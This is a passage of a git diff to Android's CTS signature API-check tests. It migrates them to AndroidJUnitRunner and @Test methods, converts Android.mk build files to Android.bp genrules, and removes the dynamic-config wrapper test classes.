+                ZipFile zip = extractedZipFiles.computeIfAbsent(resourcePath, virtualPath -> {
+                    try {
+                        Path path = extractResourceToFile(resourceName, resourcePath);
+                        return new ZipFile(path.toFile());
+                    } catch (IOException e) {
+                        throw new RuntimeException(e);
+                    }
+                });
+                return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+            } else {
+                return Stream.of(resourcePath);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Close any previously opened {@link ZipFile} instances.
+     */
+    public static void close() {
+        for (ZipFile zipfile: extractedZipFiles.values()) {
+            // If an error occurred when closing the ZipFile log the failure and continue.
+            try {
+                zipfile.close();
+            } catch (IOException e) {
+                Log.e(TAG, "Could not close ZipFile " + zipfile, e);
+            }
+        }
+    }
+
+    private static Path extractResourceToFile(String resourceName, VirtualPath resourcePath)
+            throws IOException {
+        Path tempDirectory = TEMPORARY_DIRECTORY.get();
+        Path file = tempDirectory.resolve(resourceName);
+        try (InputStream is = resourcePath.newInputStream()) {
+            Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+            Files.copy(is, file);
+        }
+        return file;
+    }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SdkListKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SdkListKillswitchTest.java
index 9e85b92..fc667eb 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SdkListKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SdkListKillswitchTest.java
@@ -18,7 +18,7 @@
 
 public class SdkListKillswitchTest extends BaseKillswitchTest {
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mErrorMessageAppendix = " when global setting hidden_api_blacklist_exemptions is \"L\"";
     }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 4a0e2c2..136211f 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,46 +23,55 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ReflectionHelper;
+import com.google.common.base.Suppliers;
 import java.util.Comparator;
 import java.util.Set;
 import java.util.TreeSet;
 import java.util.function.Predicate;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
+import org.junit.Test;
 
 /**
  * Performs the signature check via a JUnit test.
  */
-public class SignatureTest extends AbstractApiTest {
+public class SignatureTest extends AbstractSignatureTest {
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    protected String[] expectedApiFiles;
-    protected String[] previousApiFiles;
-    protected String[] baseApiFiles;
-    private String[] unexpectedApiFiles;
+    private static final String UNEXPECTED_API_FILES_ARG = "unexpected-api-files";
+
+    private static final Supplier<String[]> EXPECTED_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+    private static final Supplier<String[]> UNEXPECTED_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(UNEXPECTED_API_FILES_ARG);
+    private static final Supplier<String[]> PREVIOUS_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
+
+    private static final Supplier<Set<JDiffClassDescription>> UNEXPECTED_CLASSES =
+            Suppliers.memoize(SignatureTest::loadUnexpectedClasses)::get;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
-        baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
-        unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
-        previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
+        String[] expectedApiFiles = EXPECTED_API_FILES.get();
+        String[] unexpectedApiFiles = UNEXPECTED_API_FILES.get();
 
         if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
             throw new IllegalStateException(
-                    "Expected at least one file to be specified in"
-                            + " 'expected-api-files' or 'unexpected-api-files'");
+                    String.format("Expected at least one file to be specified in '%s' or '%s'",
+                            EXPECTED_API_FILES_ARG, UNEXPECTED_API_FILES_ARG));
         }
     }
 
     /**
-     * Tests that the device's API matches the expected set defined in xml.
-     * <p/>
-     * Will check the entire API, and then report the complete list of failures
+     * Make sure that this APK cannot access any unexpected classes.
+     *
+     * <p>The set of unexpected classes may be empty, in which case this test does nothing.</p>
      */
-    public void testSignature() {
+    @Test
+    public void testCannotAccessUnexpectedClasses() {
         runWithTestResultObserver(mResultObserver -> {
-            Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             for (JDiffClassDescription classDescription : unexpectedClasses) {
                 Class<?> unexpectedClass = findUnexpectedClass(classDescription, mClassProvider);
                 if (unexpectedClass != null) {
@@ -72,16 +81,52 @@
                             "Class should not be accessible to this APK");
                 }
             }
+        });
+    }
 
+    /**
+     * Tests that the device's API matches the expected set defined in xml.
+     *
+     * <p>Will check the entire API, and then report the complete list of failures</p>
+     */
+    @Test
+    public void testRuntimeCompatibilityWithCurrentApi() {
+        runWithTestResultObserver(mResultObserver -> {
             ApiComplianceChecker complianceChecker =
                     new ApiComplianceChecker(mResultObserver, mClassProvider);
 
             // Load classes from any API files that form the base which the expected APIs extend.
             loadBaseClasses(complianceChecker);
+
             // Load classes from system API files and check for signature compliance.
+            String[] expectedApiFiles = EXPECTED_API_FILES.get();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
                     false /* isPreviousApi */);
+
+            // After done parsing all expected API files, perform any deferred checks.
+            complianceChecker.checkDeferred();
+        });
+    }
+
+    /**
+     * Tests that the device's API matches the last few previously released api files.
+     *
+     * <p>Will check all the recently released api files, and then report the complete list of
+     * failures.</p>
+     */
+    @Test
+    public void testRuntimeCompatibilityWithPreviousApis() {
+        runWithTestResultObserver(mResultObserver -> {
+            ApiComplianceChecker complianceChecker =
+                    new ApiComplianceChecker(mResultObserver, mClassProvider);
+
+            // Load classes from any API files that form the base which the expected APIs extend.
+            loadBaseClasses(complianceChecker);
+
             // Load classes from previous API files and check for signature compliance.
+            String[] previousApiFiles = PREVIOUS_API_FILES.get();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
                     true /* isPreviousApi */);
 
@@ -103,9 +148,10 @@
         }
     }
 
-    private Set<JDiffClassDescription> loadUnexpectedClasses() {
+    private static Set<JDiffClassDescription> loadUnexpectedClasses() {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
+        return retrieveApiResourcesAsStream(SignatureTest.class.getClassLoader(), UNEXPECTED_API_FILES.get())
+                .flatMap(apiDocumentParser::parseAsStream)
                 .collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
     }
 
@@ -113,12 +159,6 @@
         return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
     }
 
-    private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
-        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
-                .forEach(complianceChecker::addBaseClass);
-    }
-
     private void checkClassesSignatureCompliance(ApiComplianceChecker complianceChecker,
             String[] classes, Set<JDiffClassDescription> unexpectedClasses, boolean isPreviousApi) {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
@@ -127,5 +167,4 @@
                 .map(clazz -> clazz.setPreviousApiFlag(isPreviousApi))
                 .forEach(complianceChecker::checkSignatureCompliance);
     }
-
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java b/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
index 5b74951..9eaf3fd 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/TestResultObserver.java
@@ -19,8 +19,10 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.ResultObserver;
 
-import repackaged.junit.framework.Assert;
-import repackaged.junit.framework.TestCase;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import junit.framework.Assert;
+import junit.framework.TestCase;
 
 /**
  * Keeps track of any reported failures.
@@ -30,10 +32,11 @@
     private boolean mDidFail = false;
     private int failures = 0;
 
-    private StringBuilder mErrorString = new StringBuilder();
+    private StringWriter mErrorString = new StringWriter();
 
     @Override
-    public void notifyFailure(FailureType type, String name, String errorMessage) {
+    public void notifyFailure(FailureType type, String name, String errorMessage,
+            Throwable throwable) {
         mDidFail = true;
         failures++;
         if (failures <= 100) {
@@ -43,6 +46,10 @@
             mErrorString.append(name);
             mErrorString.append("\tError: ");
             mErrorString.append(errorMessage);
+            if (throwable != null) {
+                mErrorString.append("\n");
+                throwable.printStackTrace(new PrintWriter(mErrorString));
+            }
         } else if (failures == 101) {
             mErrorString.append("\nMore than 100 failures, aborting test.");
             finalizeErrorString();
@@ -54,7 +61,7 @@
         ClassLoader classLoader = getClass().getClassLoader();
         mErrorString.append("\nClassLoader hierarchy\n");
         while (classLoader != null) {
-            mErrorString.append("    ").append(classLoader).append("\n");
+            mErrorString.append("    ").append(classLoader.toString()).append("\n");
             classLoader = classLoader.getParent();
         }
     }
@@ -64,6 +71,5 @@
             finalizeErrorString();
             Assert.fail(mErrorString.toString());
         }
-
     }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
index 1cdd7d9..8eb31c6 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/WildcardKillswitchTest.java
@@ -18,7 +18,7 @@
 
 public class WildcardKillswitchTest extends BaseKillswitchTest {
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mErrorMessageAppendix = " when global setting hidden_api_blacklist_exemptions is \"*\"";
     }
diff --git a/tests/signature/api-check/system-annotation/AndroidManifest.xml b/tests/signature/api-check/system-annotation/AndroidManifest.xml
index 13258c2..39736bd 100644
--- a/tests/signature/api-check/system-annotation/AndroidManifest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidManifest.xml
@@ -27,7 +27,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.system_annotation"
                      android:label="System API Annotation Test"/>
 
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index c08e9d5..f63912d 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -31,8 +31,9 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.system_annotation" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsSystemApiAnnotationTestCases" />
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
         <option name="runtime-hint" value="30s" />
diff --git a/tests/signature/api-check/system-annotation/DynamicConfig.xml b/tests/signature/api-check/system-annotation/DynamicConfig.xml
index c4f51a3..a228a1a 100644
--- a/tests/signature/api-check/system-annotation/DynamicConfig.xml
+++ b/tests/signature/api-check/system-annotation/DynamicConfig.xml
@@ -24,7 +24,7 @@
        ! an ExpectedFailuresFilter which discards them.
        !
        ! e.g. If the test fails with the following error message:
-       ! repackaged.junit.framework.AssertionFailedError:
+       ! junit.framework.AssertionFailedError:
        ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
        ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
        ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 0a3e9b0..e6d5b06 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -32,6 +32,7 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.function.Predicate;
+import org.junit.Test;
 
 /**
  * Checks that parts of the device's API that are annotated (e.g. with android.annotation.SystemApi)
@@ -40,7 +41,6 @@
 public class AnnotationTest extends AbstractApiTest {
 
     private static final String TAG = AnnotationTest.class.getSimpleName();
-    private static final String MODULE_NAME = "CtsSystemApiAnnotationTestCases";
 
     private String[] mExpectedApiFiles;
     private String mAnnotationForExactMatch;
@@ -49,15 +49,6 @@
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
         mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files");
         mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match");
-
-        // Make sure that the Instrumentation provided to this test is registered so it can be
-        // retrieved by the DynamicConfigDeviceSide below.
-        InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
-
-        // Get the DynamicConfig.xml contents and extract the expected failures list.
-        DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
-        List<String> expectedFailures = dcds.getValues("expected_failures");
-        initExpectedFailures(expectedFailures);
     }
 
     private Predicate<? super JDiffClassDescription> androidAutoClassesFilter() {
@@ -73,6 +64,7 @@
      * Tests that the parts of the device's API that are annotated (e.g. with
      * android.annotation.SystemApi) match the API definition.
      */
+    @Test
     public void testAnnotation() {
        AnnotationChecker.ResultFilter filter = new AnnotationChecker.ResultFilter() {
             @Override
diff --git a/tests/signature/api-check/system-api/Android.bp b/tests/signature/api-check/system-api/Android.bp
new file mode 100644
index 0000000..7263c84
--- /dev/null
+++ b/tests/signature/api-check/system-api/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSystemApiSignatureTestCases",
+    defaults: ["signature-api-check-defaults"],
+    java_resources: [
+        ":CtsSystemApiSignatureTestCases_system-all.api",
+        ":cts-current-api-gz",
+        ":cts-system-current-api-gz",
+        ":cts-system-removed-api-gz",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    use_embedded_native_libs: false,
+}
+
+genrule {
+    name: "CtsSystemApiSignatureTestCases_system-all.api",
+    srcs: [
+        ":prebuilt_sdk_system_api_android_txt",
+    ],
+    tools: [
+        "soong_zip",
+        "metalava",
+    ],
+    out: [
+        "system-all.api.zip",
+    ],
+    cmd: "for f in $(in); do " +
+        "  platformSdkVersion=$$(echo $${f} | awk -F/ '{print $$(3)}') && " +
+        "  if [ $${platformSdkVersion} -lt 28 ]; then continue; fi && " +
+        "  apiLevel=$$(echo $${f} | awk -F/ '{print $$(4)}') && " +
+        "  $(location metalava) -J--add-opens=java.base/java.util=ALL-UNNAMED --no-banner " +
+        "    -convert2xmlnostrip $${f} $(genDir)/list/$${platformSdkVersion}-$${apiLevel}.api; " +
+        "done &&" +
+        "$(location soong_zip) -o $(out) -C $(genDir)/list -D $(genDir)/list",
+}
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
deleted file mode 100644
index f4a9b7a..0000000
--- a/tests/signature/api-check/system-api/Android.mk
+++ /dev/null
@@ -1,66 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-all_system_api_modules :=
-$(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
-  $(if $(call math_is_number,$(ver)),\
-    $(if $(wildcard prebuilts/sdk/$(ver)/system/api/android.txt),\
-      $(eval all_system_api_modules += system-$(ver).api)\
-    )\
-  )\
-)
-all_system_api_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_system_api_modules))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-system-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_STEM := system-all.api.zip
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
-$(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
-$(LOCAL_BUILT_MODULE): $(all_system_api_files)
-	@echo "Zip API files $^ -> $@"
-	@mkdir -p $(dir $@)
-	$(hide) rm -f $@
-	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SYSTEM_API_FILES))
-
-all_system_api_zip_file := $(LOCAL_BUILT_MODULE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSystemApiSignatureTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-signature-with-dynamic-config
-
-LOCAL_JAVA_RESOURCE_FILES := $(all_system_api_zip_file)
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api.gz \
-    android-test-mock-current.api.gz \
-    android-test-runner-current.api.gz \
-    system-current.api.gz \
-    system-removed.api.gz \
-
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(LOCAL_PATH)/../build_signature_apk.mk
-
-all_system_api_files :=
-all_system_api_modules :=
-all_system_api_zip_file :=
diff --git a/tests/signature/api-check/system-api/AndroidManifest.xml b/tests/signature/api-check/system-api/AndroidManifest.xml
index 7906164..66c8e15 100644
--- a/tests/signature/api-check/system-api/AndroidManifest.xml
+++ b/tests/signature/api-check/system-api/AndroidManifest.xml
@@ -23,7 +23,7 @@
 
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.system"
                      android:label="System API Signature Test"/>
 
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index cf5d737..ac8f2092 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.system" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsSystemApiSignatureTestCases" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
diff --git a/tests/signature/api-check/system-api/DynamicConfig.xml b/tests/signature/api-check/system-api/DynamicConfig.xml
index 24aa0bb..422376d 100644
--- a/tests/signature/api-check/system-api/DynamicConfig.xml
+++ b/tests/signature/api-check/system-api/DynamicConfig.xml
@@ -24,7 +24,7 @@
          ! an ExpectedFailuresFilter which discards them.
          !
          ! e.g. If the test fails with the following error message:
-         ! repackaged.junit.framework.AssertionFailedError:
+         ! junit.framework.AssertionFailedError:
          ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
          ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
          ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
diff --git a/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
index e523152..1997826 100644
--- a/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
+++ b/tests/signature/api-check/system-api/src/android/signature/cts/api/system/SignatureTest.java
@@ -16,7 +16,5 @@
 
 package android.signature.cts.api.system;
 
-import java.android.signature.cts.api.dynamic.DynamicConfigSignatureTest;
-
-public class SignatureTest extends DynamicConfigSignatureTest {
+public class SignatureTest extends android.signature.cts.api.SignatureTest  {
 }
diff --git a/tests/signature/api-check/with-dynamic-config/Android.bp b/tests/signature/api-check/with-dynamic-config/Android.bp
deleted file mode 100644
index bdeb878..0000000
--- a/tests/signature/api-check/with-dynamic-config/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-// Copyright (C) 2021 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Compat.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_library {
-    name: "cts-signature-with-dynamic-config",
-    visibility: [
-        "//cts/tests/signature:__subpackages__",
-    ],
-    static_libs: [
-        "cts-api-signature-test",
-        "compatibility-device-util-axt",
-    ],
-    srcs: ["src/java/**/*.java"],
-}
diff --git a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java
deleted file mode 100644
index 99f6b7b..0000000
--- a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigHiddenApiTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts.api.dynamic;
-
-import android.os.Bundle;
-import android.signature.cts.api.HiddenApiTest;
-import android.signature.cts.api.SignatureTest;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import java.util.Collection;
-
-/**
- * A hidden API test that supports the use of dynamic config.
- */
-public class DynamicConfigHiddenApiTest extends HiddenApiTest {
-
-    /**
-     * The name of the optional instrumentation option that contains the name of the dynamic config
-     * data set that contains the expected failures.
-     */
-    private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
-
-    @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        super.initializeFromArgs(instrumentationArgs);
-
-        String dynamicConfigName = instrumentationArgs.getString(DYNAMIC_CONFIG_NAME_OPTION);
-        if (dynamicConfigName != null) {
-            // Make sure that the Instrumentation provided to this test is registered so it can be
-            // retrieved by the DynamicConfigDeviceSide below.
-            InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
-
-            // Get the DynamicConfig.xml contents and extract the expected failures list.
-            DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(dynamicConfigName);
-            Collection<String> expectedFailures = dcds.getValues("expected_failures");
-            initExpectedFailures(expectedFailures);
-        }
-    }
-}
diff --git a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java b/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java
deleted file mode 100644
index 8a1e763..0000000
--- a/tests/signature/api-check/with-dynamic-config/src/java/android/signature/cts/api/dynamic/DynamicConfigSignatureTest.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package java.android.signature.cts.api.dynamic;
-
-import android.os.Bundle;
-import android.signature.cts.api.SignatureTest;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import java.util.Collection;
-
-/**
- * A signature test that supports the use of dynamic config.
- */
-public class DynamicConfigSignatureTest extends SignatureTest {
-
-    /**
-     * The name of the optional instrumentation option that contains the name of the dynamic config
-     * data set that contains the expected failures.
-     */
-    private static final String DYNAMIC_CONFIG_NAME_OPTION = "dynamic-config-name";
-
-    @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        super.initializeFromArgs(instrumentationArgs);
-
-        String dynamicConfigName = instrumentationArgs.getString(DYNAMIC_CONFIG_NAME_OPTION);
-        if (dynamicConfigName != null) {
-            // Make sure that the Instrumentation provided to this test is registered so it can be
-            // retrieved by the DynamicConfigDeviceSide below.
-            InstrumentationRegistry.registerInstance(getInstrumentation(), new Bundle());
-
-            // Get the DynamicConfig.xml contents and extract the expected failures list.
-            DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(dynamicConfigName);
-            Collection<String> expectedFailures = dcds.getValues("expected_failures");
-            initExpectedFailures(expectedFailures);
-        }
-    }
-}
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index cdb11db..3f24355 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -18,7 +18,7 @@
 
 genrule_defaults {
     name: "signature-cts-api-api-gz",
-    cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
+    cmd: "$(location metalava) --no-banner -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
     tools: ["metalava"],
     visibility: [
         "//cts/tests/signature/api-check:__subpackages__",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
deleted file mode 100644
index 82f6283..0000000
--- a/tests/signature/api/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# We define this in a subdir so that it won't pick up the parent's Android.xml by default.
-
-LOCAL_PATH := $(call my-dir)
-
-# $(1) name of the xml file to be created
-# $(2) path to the api text file
-define build_xml_api_file
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_STEM := $(1)
-LOCAL_MODULE_CLASS := ETC
